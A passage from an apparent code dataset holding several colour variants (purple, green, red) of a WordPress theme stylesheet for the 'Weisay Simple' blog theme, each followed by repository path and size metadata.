5px #eee; } #commentform input:focus { border: 1px solid #ccc; } #commentform textarea { width: 72%; height: 120px; font-size:13px; padding:4px; margin:4px 0 0 0; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #commentform textarea:focus { border: 1px solid #ccc; } #commentform input#submit, #commentform input#reset{ width:87px; height:26px; color: #393939; text-align:center; text-shadow: 0px 1px 0px #fff; margin-top:8px; border:1px solid #ddd; } #commentform #submit:hover, #commentform #reset:hover { font-weight:bold; } #real-avatar .avatar{ float:right; padding:2px; border:1px solid #ddd; background: #fff; margin-right:20px;_margin-right:10px; } /** IE6抖动 **/ html body { _background-attachment:fixed; } /** 翻屏 **/ #roll_top,#fall{ position:relative; cursor:pointer; height:93px; width:11px; } #ct{ position:relative; cursor:pointer; height:53px; width:11px; } #roll_top { background:url(../images/roll.png) no-repeat; } #fall { background:url(../images/roll.png) no-repeat 0 -146px; } #ct { background:url(../images/roll.png) no-repeat 0 -93px; } #roll { display:block; width:15px; margin-right:-224px; position:fixed; right:50%; top:33%; _margin-right:-224px; _position:absolute; _margin-top:180px; _top:expression(eval(document.documentElement.scrollTop)); } /** 底部 **/ #footer{text-align:center; height:40px;background:url(../images/line2.gif) repeat-x top; padding-top:20px; font-size:12px; margin-top:5px; color:#777} #footer a:link, #footer a:visited{ color:#777}
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/css/t-purple.css
CSS
asf20
14,544
/* Theme Name: Weisay Simple Theme URL: http://www.weisay.com/blog/wordpress-theme-weisay-simple.html Description: 简约而不简单的主题,获得此主题使用帮助<a href="http://www.weisay.com/blog/wordpress-theme-weisay-simple.html">weisay.com</a>。 Author: Weisay Author URI: http://www.weisay.com Tags: weisay,weisaysimple,Simple,威言威语 Version: 1.4 */ * { border: 0; margin: 0; padding: 0; } body {text-shadow:1px 1px #fff; background:#fafafa url(../images/bg.png) repeat; color: #333; font: 13px 微软雅黑,PMingLiU,Verdana,Arial,Helvetica,sans-serif; } ::selection {color: #549500;background: #dcdcdc;} ::-moz-selection {color: #549500;background: #dcdcdc;} h2{font-size:16px;} a:link, a:visited{color: #549500;text-decoration: none;} a:hover{ text-decoration:underline} .clear{clear: both;} #page{ } #header{ background:url(../images/line4.gif) repeat-x bottom;height:112px;} #top{ width:990px;margin: 0 auto;} #top_logo{float:left;height:75px;} .page_menu{ } .page_menu ul{list-style:none; float:left;} .page_menu li {text-shadow:1px 1px #fff; color: #FFFFFF; float: left; padding:8px 10px 0 10px; } .search {margin-top:18px; float:right} #searchform {background:#dadada; border-radius:3px; padding:3px 3px 3px 3px;*padding:2px 3px 4px 3px;} #searchform label {display:none;} #searchform input {width:173px; height:24px; line-height:24px; vertical-align:middle; padding:0 5px;} #searchform button,#searchform #searchsubmit {width:58px; text-align:center; height:26px; line-height:26px; background:#666; margin-left:-4px; border:none; color:#fff; cursor:pointer; vertical-align:middle; text-shadow:1px 1px #333;} .search button:hover {background:#333;} #blogname{ float: left; font-size: 22px; padding-left:10px; margin-top:15px; } #blogname a:link,#blogname a:visited, .article h2 a:link, .article h2 a:visited{color:#222;} .article h2 a:link, .article h2 a:visited{color:#333;} #blogname a:hover, .article h2 a:hover { color:#626262; text-decoration: none; } #blogtitle { padding-top:5px;color:#666; font-size: 13px; font-weight:normal; } .logo { background:url(../images/logo.png) no-repeat; margin-top:15px; width: 185px; height: 50px; margin-left:10px;_margin-left:5px; } .topnav {float: left;width:820px;height: 34px;padding: 0;margin:0 0 3px 10px;_margin:0 0 3px 5px;overflow:hidden;} .topnav li img{_padding-top:11px;} .topnav ul { list-style: none; margin: 0; padding: 0; position: absolute; z-index: 999; } .topnav li { width:90px; height: 34px; float: left; font-weight:bold; position: relative; padding:0 12px 0 0; } .topnav .sub-menu li{padding:0px;} .topnav li a:link, .topnav li a:visited{ width:90px; height: 34px; line-height: 34px; text-align: center; display: block; text-decoration: none; border-bottom: #549500 1px solid; color: #549500; } .topnav li a:hover {color: #356700;} .topnav ul ul { display: none; position: absolute; top: 34px; left: 0; z-index: 999; width: 90px;} .topnav ul ul li { display: block; background:#fafafa url(../images/bg2.png) repeat; border-top:1px #549500 solid; position: relative;top:1px} .topnav ul ul ul { position: absolute;left: 90px;z-index: 999; width: 90px;} .topnav li.li01 { } .topnav li.li01 a { color: #549500;text-decoration: none;} .topnav li.li01 a:hover {color: #356700;} .topnav li.li01 li a { color: #549500; } .topnav li.li01 li a:hover { border-bottom:1px #549500 solid;} .topnav li li.li01 a { background:#fafafa url(../images/bg2.png) repeat; color: #549500;text-decoration: none;} .topnav li li.li01 ul{top:-2px} .topnav li li.li01 ul a { color: #549500;} .topnav li li.li01 ul a:hover { border-bottom:1px #549500 solid;} #rss {float:right;border:none} #rss ul{ list-style:none;} #rss ul li{margin:6px 0 0 14px;float:right;} #rss ul li.rssmail{margin-left:0px;} .icon1 {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat top;} .icon1 span.hover {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat bottom;} .icon2 {display:block;width:28px;height:28px;background:url(../images//tqq.gif) no-repeat top;} .icon2 span.hover {display:block;width:28px;height:28px;background:url(../images/tqq.gif) no-repeat bottom;} .icon3 {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat top;} .icon3 span.hover {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat bottom;} .icon4 {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat top;} .icon4 span.hover {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat bottom;} #content{width:990px; margin:0 auto; padding-top:5px} .main{float:left; width:690px;} .main ul li{list-style:none;} .main .post, .main .left{margin-top:18px;} .post_date{ float:left; width:70px;height:72px; position: absolute; border-top:5px #549500 solid; margin-top:22px; } .post_date span {display:block} .post_date .date_m{ text-align:center;font-size:11px;padding-top:5px;font-family:Verdana} .post_date .date_d{ padding-left:3px; text-align:center; font-size:25px; margin-top:-5px; font-family:Georgia, Arial, Tahoma, Geneva; font-weight:bold} .post_date .date_y{text-align:center;font-size:11px;font-family:Verdana} .article{float:right; width:620px;border-bottom:1px #ddd solid; overflow:hidden;} .article li{list-style:none} .articles{float:right; width:620px;border-bottom:1px #ddd solid; padding:10px 0 10px 0;overflow:hidden} .article h2{background:url(../images/line4.gif) repeat-x bottom; height:24px; padding-left:10px;} .articles h3{font-size:15px} .new{margin-left:2px;position:absolute} .thumbnail_box { float: left; width: 140px; height:100px; margin: 17px 10px 8px 15px;_margin: 17px 10px 8px 7px; padding: 4px; border:1px solid #ccc; } .thumbnail img{ position:absolute; z-index:3; } .entry_post{line-height:22px; padding-top:12px;} .more{float:right; font-size:12px; margin:4px 0 8px 0;*margin:-20px 0 8px 0} .info{ float:left;font-size:12px; padding-left:15px; width:515px; overflow:hidden; line-height:20px; height:20px} .article_info{font-size:12px;padding-left:10px; line-height:22px; color:#777} .comments_num{float:right;font-size:12px; background:#dedede;padding:1px 3px 0 3px;line-height:20px; height:20px} .comments_num a:link, .comments_num a:visited{color:#555;text-shadow:1px 1px #eee;} .context{position:relative; width:620px; overflow:hidden;} .context p {padding:5px 0px; margin:0;line-height:22px;} .context h4 {margin:10px 0 5px 0} .context h5 { font-size: 15px; padding:3px 8px; background:#ededed; border:1px #ddd solid; } .context ol {margin-left:20px} .context ol li{line-height:22px} .context p img{margin:0 auto; display:block;} .context blockquote{ padding:5px 20px; margin:0 5px; border:1px solid #ddd; border-left:8px solid #ddd; background-color:#e9e9e9; overflow:auto; } .author_pic{float:left; width:60px;} .author_pic img { padding:3px; background:#ccc; margin-top:8px} .author_pic img:hover {background:#aaa;} .author_text {float:right; width:540px;} .relatedposts{ } .relatedposts ol{padding-top:3px} .relatedposts li{ float:left;display:block; width:308px;height:20px; overflow:hidden; line-height:24px; } .navigation{ margin:9px 0 5px 0; font-size:12px; float:right; text-align:right; } .pagination {line-height:24px;} .inactive {height:22px; width:22px;} .pagination span, .pagination a { width:22px;text-align:center; height:22px;line-height:24px; margin:0px 2px 0px 2px; display:inline-block; text-decoration:none; border:1px #e0e0e0 solid; } .pagination .current{ height:22px; width:22px; color:#333; border:1px #bcbcbc solid; font-weight:bold; background:#f0f0f0; } .pagination a:hover { height:22px; width:22px; color:#333; border:1px #bcbcbc solid; text-decoration: none; } .pagination .page_previous, .pagination .prev{ width:50px; height:22px; text-align:center;} .pagination .page_previous:hover, .pagination .prev:hover{ width:50px; height:22px; text-align:center; } .pagination .page_next, .pagination .next, .pagination .page_next:hover, .pagination .next:hover{ width:50px; height:22px; text-align:center; } .pagination .fir_las, .pagination .fir_las:hover{ width:30px; height:22px; text-align:center; } #sidebar{float:right; width:260px; margin-top:7px} #sidebar li ul { } #sidebar li ul li {} #sidebar li ul.children li,#sidebar li ul.children li ul li { padding-left: 18px; background: url(../images/tier4.gif) 6px 5px no-repeat; } #sidebar h3{font-size:15px;font-weight: bold; background:url(../images/line4.gif) repeat-x bottom;line-height:30px; height:30px; margin:5px 0 8px 0;} #sidebar ul{list-style:none} .widget ul{ padding:1px 0 1px 0;} .widget ul li{line-height:22px} #tab-title .selected{color:#f00;font-weight:bold} #tab-title span{ padding:0 22px 8px 0; cursor:pointer;} #tab-content .hide{display:none;} #tab-content ul{overflow:hidden;list-style:none} #tab-content ul li{line-height:23px;} .top_comment ul {} .top_comment ul li {list-style:none; display:inline;} .top_comment img.avatar{ width:38px; height:38px; background:#e3e3e3; border: 1px solid #e3e3e3; padding:3px;margin:3px;} .top_comment img.avatar:hover{background:#d0d0d0;} #loginform p {line-height:25px} input,textarea,button {outline:none;} .article input{border:1px solid #ddd;padding:2px; margin:2px} #loginform input.login{ width:120px; padding:2px; background:#fff; color:#444; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #loginform input.denglu{ background:#f0f0f0; width:66px; height:23px; color: #444; text-align:center; margin-top:8px; border:1px solid #ddd; } #loginform input:focus { border: 1px solid #ccc; } .r_comment { } .r_comment ul { list-style-type:none; } .r_comment li { line-height:22px; clear:both; } .r_comment ul li img.avatar { height:32px; float:left; padding:3px; margin:4px 4px 0 0; background:#fff; border: 1px solid #ddd; } .v-links{overflow:hidden; } .v-links li{ float:left; display:block; width:128px; height:20px; overflow:hidden; } .v_avatar{ float: left; width:70px; margin-left: 18px } .v_avatar img { padding:6px; background:#e3e3e3; border: 1px solid #e3e3e3; } .v_li{ float:right; width:135px; line-height:19px; list-style:none; } .articles_all{line-height:30px} .car-collapse .car-yearmonth { cursor: s-resize; } a.car-toggler{line-height:30px; font-size:14px; color:#c30} .car-list li{list-style:none; line-height:24px} .car-list li ul{padding-left:30px} .car-plus, .car-minus {width:15px; display:block; float:left;font-family:Courier New, Lucida Console, MS Gothic, MS Mincho;} .weisaylink, .linkstandard {list-style:none;} .weisaylink ul ul, .linkstandard ul{ list-style:none; line-height:24px } .weisaylink ul ul li{float:left;height:28px;width:25%;overflow:hidden;} .weisaylink ul li h2, .linkstandard h2{ clear:both; font-size:15px} .v_comment{ } .v_comment ul{ padding-top:14px} .v_comment ul li{list-style-type:none;display:inline;} .v_comment img{ height:36px; height:36px; float:left; padding:1px; margin:2px; border: 1px solid #ddd; } .v_comment img:hover{border: 1px solid #ccc; -webkit-animation: comm 1.1s ease-in infinite; box-shadow:0 0 2px rgba(0,158,224,0.9); -moz-box-shadow:0 0 2px rgba(0,158,224,0.9); -webkit-box-shadow:0 0 2px rgba(0,158,224,0.9); } @-webkit-keyframes comm{ 0% { -webkit-box-shadow: 0 0 7px rgba(0,158,224,0.9); } 100% { -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } } /** 文章评论 **/ .commentlist {} .commentlist .comment { list-style: none; border-top:1px solid #ddd; } .commentlist li.comment ul.children {margin-left:20px;} .commentlist .depth-1{ margin: 10px 0 10px 0;} .commentlist li { position: relative; } .commentlist .alt { } .commentlist .comment-body {padding:5px 0 5px 0} .commentlist .comment-body:hover {background:#fafafa url(../images/bg2.png) repeat;} .commentlist p { margin: 5px 0 5px 50px; line-height:22px; } .reply { } .reply a:link, .reply a:visited{ text-align:center; font-size:12px;} .datetime { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } .commentmetadata { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } ol.commentlist li div.vcard img.avatar { width:40px; height:40px; position:relative; float: left; margin: 4px 6px 0 0; padding: 2px; border:1px solid #ddd; background: #fff; } ol.commentlist li div.floor{ float:right;color:#bbb} #respond { padding:5px 10px 10px; overflow:hidden; } #respond_box { clear:both;border-top:1px solid #ddd;} #respond h3 { margin:5px 0 6px 0;} #comment {background:#fff url(../images/comment.gif) no-repeat center;} #commentform p { color: #333; } #commentform label { color: #868686; } #commentform input { border:1px solid #ddd; width: 160px; margin: 4px 5px 4px 0; padding: 3px; box-shadow:inset 2px 3px 5px #eee; } #commentform input:focus { border: 1px solid #ccc; } #commentform textarea { width: 72%; height: 120px; font-size:13px; padding:4px; margin:4px 0 0 0; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #commentform textarea:focus { border: 1px solid #ccc; } #commentform input#submit, #commentform input#reset{ width:87px; height:26px; color: #393939; text-align:center; text-shadow: 0px 1px 0px #fff; margin-top:8px; border:1px solid #ddd; } #commentform #submit:hover, #commentform #reset:hover { font-weight:bold; } #real-avatar .avatar{ float:right; padding:2px; border:1px solid #ddd; background: #fff; margin-right:20px;_margin-right:10px; } /** IE6抖动 **/ html body { _background-attachment:fixed; } /** 翻屏 **/ #roll_top,#fall{ position:relative; cursor:pointer; height:93px; width:11px; } #ct{ position:relative; cursor:pointer; height:53px; width:11px; } #roll_top { background:url(../images/roll.png) no-repeat; } #fall { background:url(../images/roll.png) no-repeat 0 -146px; } #ct { background:url(../images/roll.png) no-repeat 0 -93px; } #roll { display:block; width:15px; margin-right:-224px; position:fixed; right:50%; top:33%; _margin-right:-224px; _position:absolute; _margin-top:180px; _top:expression(eval(document.documentElement.scrollTop)); } /** 底部 **/ #footer{text-align:center; height:40px;background:url(../images/line4.gif) repeat-x top; padding-top:20px; font-size:12px; margin-top:5px; color:#777} #footer a:link, #footer a:visited{ color:#777}
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/css/t-green.css
CSS
asf20
14,542
/* Theme Name: Weisay Simple Theme URL: http://www.weisay.com/blog/wordpress-theme-weisay-simple.html Description: 简约而不简单的主题,获得此主题使用帮助<a href="http://www.weisay.com/blog/wordpress-theme-weisay-simple.html">weisay.com</a>。 Author: Weisay Author URI: http://www.weisay.com Tags: weisay,weisaysimple,Simple,威言威语 Version: 1.4 */ * { border: 0; margin: 0; padding: 0; } body {text-shadow:1px 1px #fff; background:#fafafa url(../images/bg.png) repeat; color: #333; font: 13px 微软雅黑,PMingLiU,Verdana,Arial,Helvetica,sans-serif; } ::selection {color: #bc0000;background: #dcdcdc;} ::-moz-selection {color: #bc0000;background: #dcdcdc;} h2{font-size:16px;} a:link, a:visited{color: #bc0000;text-decoration: none;} a:hover{ text-decoration:underline} .clear{clear: both;} #page{ } #header{ background:url(../images/line5.gif) repeat-x bottom;height:112px;} #top{ width:990px;margin: 0 auto;} #top_logo{float:left; height:75px;} .page_menu{ } .page_menu ul{list-style:none; float:left;} .page_menu li {text-shadow:1px 1px #fff; color: #FFFFFF; float: left; padding:8px 10px 0 10px; } .search {margin-top:18px; float:right} #searchform {background:#dadada; border-radius:3px; padding:3px 3px 3px 3px;*padding:2px 3px 4px 3px;} #searchform label {display:none;} #searchform input {width:173px; height:24px; line-height:24px; vertical-align:middle; padding:0 5px;} #searchform button,#searchform #searchsubmit {width:58px; text-align:center; height:26px; line-height:26px; background:#666; margin-left:-4px; border:none; color:#fff; cursor:pointer; vertical-align:middle; text-shadow:1px 1px #333;} .search button:hover {background:#333;} #blogname{ float: left; font-size: 22px; padding-left:10px; margin-top:15px; } #blogname a:link,#blogname a:visited, .article h2 a:link, .article h2 a:visited{color:#222;} .article h2 a:link, .article h2 a:visited{color:#333;} #blogname a:hover, .article h2 a:hover { color:#626262; text-decoration: none; } #blogtitle { padding-top:5px;color:#666; font-size: 13px; font-weight:normal; } .logo { background:url(../images/logo.png) no-repeat; margin-top:15px; width: 185px; height: 50px; margin-left:10px;_margin-left:5px; } .topnav {float: left;width:820px;height: 34px;padding: 0;margin:0 0 3px 10px;_margin:0 0 3px 5px;overflow:hidden;} .topnav li img{_padding-top:11px;} .topnav ul { list-style: none; margin: 0; padding: 0; position: absolute; z-index: 999; } .topnav li { width:90px; height: 34px; float: left; font-weight:bold; position: relative; padding:0 12px 0 0; } .topnav .sub-menu li{padding:0px;} .topnav li a:link, .topnav li a:visited{ width:90px; height: 34px; line-height: 34px; text-align: center; display: block; text-decoration: none; border-bottom: #bc0000 1px solid; color: #bc0000; } .topnav li a:hover {color: #8a0000;} .topnav ul ul { display: none; position: absolute; top: 34px; left: 0; z-index: 999; width: 90px;} .topnav ul ul li { display: block; background:#fafafa url(../images/bg2.png) repeat; border-top:1px #bc0000 solid; position: relative;top:1px} .topnav ul ul ul { position: absolute;left: 90px;z-index: 999; width: 90px;} .topnav li.li01 { } .topnav li.li01 a { color: #bc0000;text-decoration: none;} .topnav li.li01 a:hover {color: #8a0000;} .topnav li.li01 li a { color: #bc0000; } .topnav li.li01 li a:hover { border-bottom:1px #bc0000 solid;} .topnav li li.li01 a { background:#fafafa url(../images/bg2.png) repeat; color: #bc0000;text-decoration: none;} .topnav li li.li01 ul{top:-2px} .topnav li li.li01 ul a { color: #bc0000;} .topnav li li.li01 ul a:hover { border-bottom:1px #bc0000 solid;} #rss {float:right;border:none} #rss ul{ list-style:none;} #rss ul li{margin:6px 0 0 14px;float:right;} #rss ul li.rssmail{margin-left:0px;} .icon1 {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat top;} .icon1 span.hover {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat bottom;} .icon2 {display:block;width:28px;height:28px;background:url(../images//tqq.gif) no-repeat top;} .icon2 span.hover {display:block;width:28px;height:28px;background:url(../images/tqq.gif) no-repeat bottom;} .icon3 {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat top;} .icon3 span.hover {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat bottom;} .icon4 {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat top;} .icon4 span.hover {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat bottom;} #content{width:990px; margin:0 auto; padding-top:5px} .main{float:left; width:690px;} .main ul li{list-style:none;} .main .post, .main .left{margin-top:18px;} .post_date{ float:left; width:70px;height:72px; position: absolute; border-top:5px #bc0000 solid; margin-top:22px; } .post_date span {display:block} .post_date .date_m{ text-align:center;font-size:11px;padding-top:5px;font-family:Verdana} .post_date .date_d{ padding-left:3px; text-align:center; font-size:25px; margin-top:-5px; font-family:Georgia, Arial, Tahoma, Geneva; font-weight:bold} .post_date .date_y{text-align:center;font-size:11px;font-family:Verdana} .article{float:right; width:620px;border-bottom:1px #ddd solid; overflow:hidden;} .article li{list-style:none} .articles{float:right; width:620px;border-bottom:1px #ddd solid; padding:10px 0 10px 0;overflow:hidden} .article h2{background:url(../images/line5.gif) repeat-x bottom; height:24px; padding-left:10px;} .articles h3{font-size:15px} .new{margin-left:2px;position:absolute} .thumbnail_box { float: left; width: 140px; height:100px; margin: 17px 10px 8px 15px;_margin: 17px 10px 8px 7px; padding: 4px; border:1px solid #ccc; } .thumbnail img{ position:absolute; z-index:3; } .entry_post{line-height:22px; padding-top:12px;} .more{float:right; font-size:12px; margin:4px 0 8px 0;*margin:-20px 0 8px 0} .info{ float:left;font-size:12px; padding-left:15px; width:515px; overflow:hidden; line-height:20px; height:20px} .article_info{font-size:12px;padding-left:10px; line-height:22px; color:#777} .comments_num{float:right;font-size:12px; background:#dedede;padding:1px 3px 0 3px;line-height:20px; height:20px} .comments_num a:link, .comments_num a:visited{color:#555;text-shadow:1px 1px #eee;} .context{position:relative; width:620px; overflow:hidden;} .context p {padding:5px 0px; margin:0;line-height:22px;} .context h4 {margin:10px 0 5px 0} .context h5 { font-size: 15px; padding:3px 8px; background:#ededed; border:1px #ddd solid; } .context ol {margin-left:20px} .context ol li{line-height:22px} .context p img{margin:0 auto; display:block;} .context blockquote{ padding:5px 20px; margin:0 5px; border:1px solid #ddd; border-left:8px solid #ddd; background-color:#e9e9e9; overflow:auto; } .author_pic{float:left; width:60px;} .author_pic img { padding:3px; background:#ccc; margin-top:8px} .author_pic img:hover {background:#aaa;} .author_text {float:right; width:540px;} .relatedposts{ } .relatedposts ol{padding-top:3px} .relatedposts li{ float:left;display:block; width:308px;height:20px; overflow:hidden; line-height:24px; } .navigation{ margin:9px 0 5px 0; font-size:12px; float:right; text-align:right; } .pagination {line-height:24px;} .inactive {height:22px; width:22px;} .pagination span, .pagination a { width:22px;text-align:center; height:22px;line-height:24px; margin:0px 2px 0px 2px; display:inline-block; text-decoration:none; border:1px #e0e0e0 solid; } .pagination .current{ height:22px; width:22px; color:#333; border:1px #bcbcbc solid; font-weight:bold; background:#f0f0f0; } .pagination a:hover { height:22px; width:22px; color:#333; border:1px #bcbcbc solid; text-decoration: none; } .pagination .page_previous, .pagination .prev{ width:50px; height:22px; text-align:center;} .pagination .page_previous:hover, .pagination .prev:hover{ width:50px; height:22px; text-align:center; } .pagination .page_next, .pagination .next, .pagination .page_next:hover, .pagination .next:hover{ width:50px; height:22px; text-align:center; } .pagination .fir_las, .pagination .fir_las:hover{ width:30px; height:22px; text-align:center; } #sidebar{float:right; width:260px; margin-top:7px} #sidebar li ul { } #sidebar li ul li {} #sidebar li ul.children li,#sidebar li ul.children li ul li { padding-left: 18px; background: url(../images/tier5.gif) 6px 5px no-repeat; } #sidebar h3{font-size:15px;font-weight: bold; background:url(../images/line5.gif) repeat-x bottom;line-height:30px; height:30px; margin:5px 0 8px 0;} #sidebar ul{list-style:none} .widget ul{ padding:1px 0 1px 0;} .widget ul li{line-height:22px} #tab-title .selected{color:#f00;font-weight:bold} #tab-title span{ padding:0 22px 8px 0; cursor:pointer;} #tab-content .hide{display:none;} #tab-content ul{overflow:hidden;list-style:none} #tab-content ul li{line-height:23px;} .top_comment ul {} .top_comment ul li {list-style:none; display:inline;} .top_comment img.avatar{ width:38px; height:38px; background:#e3e3e3; border: 1px solid #e3e3e3; padding:3px;margin:3px;} .top_comment img.avatar:hover{background:#d0d0d0;} #loginform p {line-height:25px} input,textarea,button {outline:none;} .article input{border:1px solid #ddd;padding:2px; margin:2px} #loginform input.login{ width:120px; padding:2px; background:#fff; color:#444; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #loginform input.denglu{ background:#f0f0f0; width:66px; height:23px; color: #444; text-align:center; margin-top:8px; border:1px solid #ddd; } #loginform input:focus { border: 1px solid #ccc; } .r_comment { } .r_comment ul { list-style-type:none; } .r_comment li { line-height:22px; clear:both; } .r_comment ul li img.avatar { height:32px; float:left; padding:3px; margin:4px 4px 0 0; background:#fff; border: 1px solid #ddd; } .v-links{overflow:hidden; } .v-links li{ float:left; display:block; width:128px; height:20px; overflow:hidden; } .v_avatar{ float: left; width:70px; margin-left: 18px } .v_avatar img { padding:6px; background:#e3e3e3; border: 1px solid #e3e3e3; } .v_li{ float:right; width:135px; line-height:19px; list-style:none; } .articles_all{line-height:30px} .car-collapse .car-yearmonth { cursor: s-resize; } a.car-toggler{line-height:30px; font-size:14px; color:#c30} .car-list li{list-style:none; line-height:24px} .car-list li ul{padding-left:30px} .car-plus, .car-minus {width:15px; display:block; float:left;font-family:Courier New, Lucida Console, MS Gothic, MS Mincho;} .weisaylink, .linkstandard {list-style:none;} .weisaylink ul ul, .linkstandard ul{ list-style:none; line-height:24px } .weisaylink ul ul li{float:left;height:28px;width:25%;overflow:hidden;} .weisaylink ul li h2, .linkstandard h2{ clear:both; font-size:15px} .v_comment{ } .v_comment ul{ padding-top:14px} .v_comment ul li{list-style-type:none;display:inline;} .v_comment img{ height:36px; height:36px; float:left; padding:1px; margin:2px; border: 1px solid #ddd; } .v_comment img:hover{border: 1px solid #ccc; -webkit-animation: comm 1.1s ease-in infinite; box-shadow:0 0 2px rgba(0,158,224,0.9); -moz-box-shadow:0 0 2px rgba(0,158,224,0.9); -webkit-box-shadow:0 0 2px rgba(0,158,224,0.9); } @-webkit-keyframes comm{ 0% { -webkit-box-shadow: 0 0 7px rgba(0,158,224,0.9); } 100% { -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } } /** 文章评论 **/ .commentlist {} .commentlist .comment { list-style: none; border-top:1px solid #ddd; } .commentlist li.comment ul.children {margin-left:20px;} .commentlist .depth-1{ margin: 10px 0 10px 0;} .commentlist li { position: relative; } .commentlist .alt { } .commentlist .comment-body {padding:5px 0 5px 0} .commentlist .comment-body:hover {background:#fafafa url(../images/bg2.png) repeat;} .commentlist p { margin: 5px 0 5px 50px; line-height:22px; } .reply { } .reply a:link, .reply a:visited{ text-align:center; font-size:12px;} .datetime { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } .commentmetadata { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } ol.commentlist li div.vcard img.avatar { width:40px; height:40px; position:relative; float: left; margin: 4px 6px 0 0; padding: 2px; border:1px solid #ddd; background: #fff; } ol.commentlist li div.floor{ float:right;color:#bbb} #respond { padding:5px 10px 10px; overflow:hidden; } #respond_box { clear:both;border-top:1px solid #ddd;} #respond h3 { margin:5px 0 6px 0;} #comment {background:#fff url(../images/comment.gif) no-repeat center;} #commentform p { color: #333; } #commentform label { color: #868686; } #commentform input { border:1px solid #ddd; width: 160px; margin: 4px 5px 4px 0; padding: 3px; box-shadow:inset 2px 3px 5px #eee; } #commentform input:focus { border: 1px solid #ccc; } #commentform textarea { width: 72%; height: 120px; font-size:13px; padding:4px; margin:4px 0 0 0; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #commentform textarea:focus { border: 1px solid #ccc; } #commentform input#submit, #commentform input#reset{ width:87px; height:26px; color: #393939; text-align:center; text-shadow: 0px 1px 0px #fff; margin-top:8px; border:1px solid #ddd; } #commentform #submit:hover, #commentform #reset:hover { font-weight:bold; } #real-avatar .avatar{ float:right; padding:2px; border:1px solid #ddd; background: #fff; margin-right:20px;_margin-right:10px; } /** IE6抖动 **/ html body { _background-attachment:fixed; } /** 翻屏 **/ #roll_top,#fall{ position:relative; cursor:pointer; height:93px; width:11px; } #ct{ position:relative; cursor:pointer; height:53px; width:11px; } #roll_top { background:url(../images/roll.png) no-repeat; } #fall { background:url(../images/roll.png) no-repeat 0 -146px; } #ct { background:url(../images/roll.png) no-repeat 0 -93px; } #roll { display:block; width:15px; margin-right:-224px; position:fixed; right:50%; top:33%; _margin-right:-224px; _position:absolute; _margin-top:180px; _top:expression(eval(document.documentElement.scrollTop)); } /** 底部 **/ #footer{text-align:center; height:40px;background:url(../images/line5.gif) repeat-x top; padding-top:20px; font-size:12px; margin-top:5px; color:#777} #footer a:link, #footer a:visited{ color:#777}
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/css/t-red.css
CSS
asf20
14,543
/* Theme Name: Weisay Simple Theme URL: http://www.weisay.com/blog/wordpress-theme-weisay-simple.html Description: 简约而不简单的主题,获得此主题使用帮助<a href="http://www.weisay.com/blog/wordpress-theme-weisay-simple.html">weisay.com</a>。 Author: Weisay Author URI: http://www.weisay.com Tags: weisay,weisaysimple,Simple,威言威语 Version: 1.4 */ * { border: 0; margin: 0; padding: 0; } body {text-shadow:1px 1px #fff; background:#fafafa url(../images/bg.png) repeat; color: #333; font: 13px 微软雅黑,PMingLiU,Verdana,Arial,Helvetica,sans-serif; } ::selection {color: #ff146d;background: #dcdcdc;} ::-moz-selection {color: #ff146d;background: #dcdcdc;} h2{font-size:16px;} a:link, a:visited{color: #ff146d;text-decoration: none;} a:hover{ text-decoration:underline} .clear{clear: both;} #page{ } #header{ background:url(../images/line1.gif) repeat-x bottom;height:112px;} #top{ width:990px;margin: 0 auto;} #top_logo{float:left; height:75px;} .page_menu{ } .page_menu ul{list-style:none; float:left;} .page_menu li {text-shadow:1px 1px #fff; color: #FFFFFF; float: left; padding:8px 10px 0 10px; } .search {margin-top:18px; float:right} #searchform {background:#dadada; border-radius:3px; padding:3px 3px 3px 3px;*padding:2px 3px 4px 3px;} #searchform label {display:none;} #searchform input {width:173px; height:24px; line-height:24px; vertical-align:middle; padding:0 5px;} #searchform button,#searchform #searchsubmit {width:58px; text-align:center; height:26px; line-height:26px; background:#666; margin-left:-4px; border:none; color:#fff; cursor:pointer; vertical-align:middle; text-shadow:1px 1px #333;} .search button:hover {background:#333;} #blogname{ float: left; font-size: 22px; padding-left:10px; margin-top:15px; } #blogname a:link,#blogname a:visited, .article h2 a:link, .article h2 a:visited{color:#222;} .article h2 a:link, .article h2 a:visited{color:#333;} #blogname a:hover, .article h2 a:hover { color:#626262; text-decoration: none; } #blogtitle { padding-top:5px;color:#666; font-size: 13px; font-weight:normal; } .logo { background:url(../images/logo.png) no-repeat; margin-top:15px; width: 185px; height: 50px; margin-left:10px;_margin-left:5px; } .topnav {float: left;width:820px;height: 34px;padding: 0;margin:0 0 3px 10px;_margin:0 0 3px 5px;overflow:hidden;} .topnav li img{_padding-top:11px;} .topnav ul { list-style: none; margin: 0; padding: 0; position: absolute; z-index: 999; } .topnav li { width:90px; height: 34px; float: left; font-weight:bold; position: relative; padding:0 12px 0 0; } .topnav .sub-menu li{padding:0px;} .topnav li a:link, .topnav li a:visited{ width:90px; height: 34px; line-height: 34px; text-align: center; display: block; text-decoration: none; border-bottom: #ff146d 1px solid; color: #ff146d; } .topnav li a:hover {color: #e40056;} 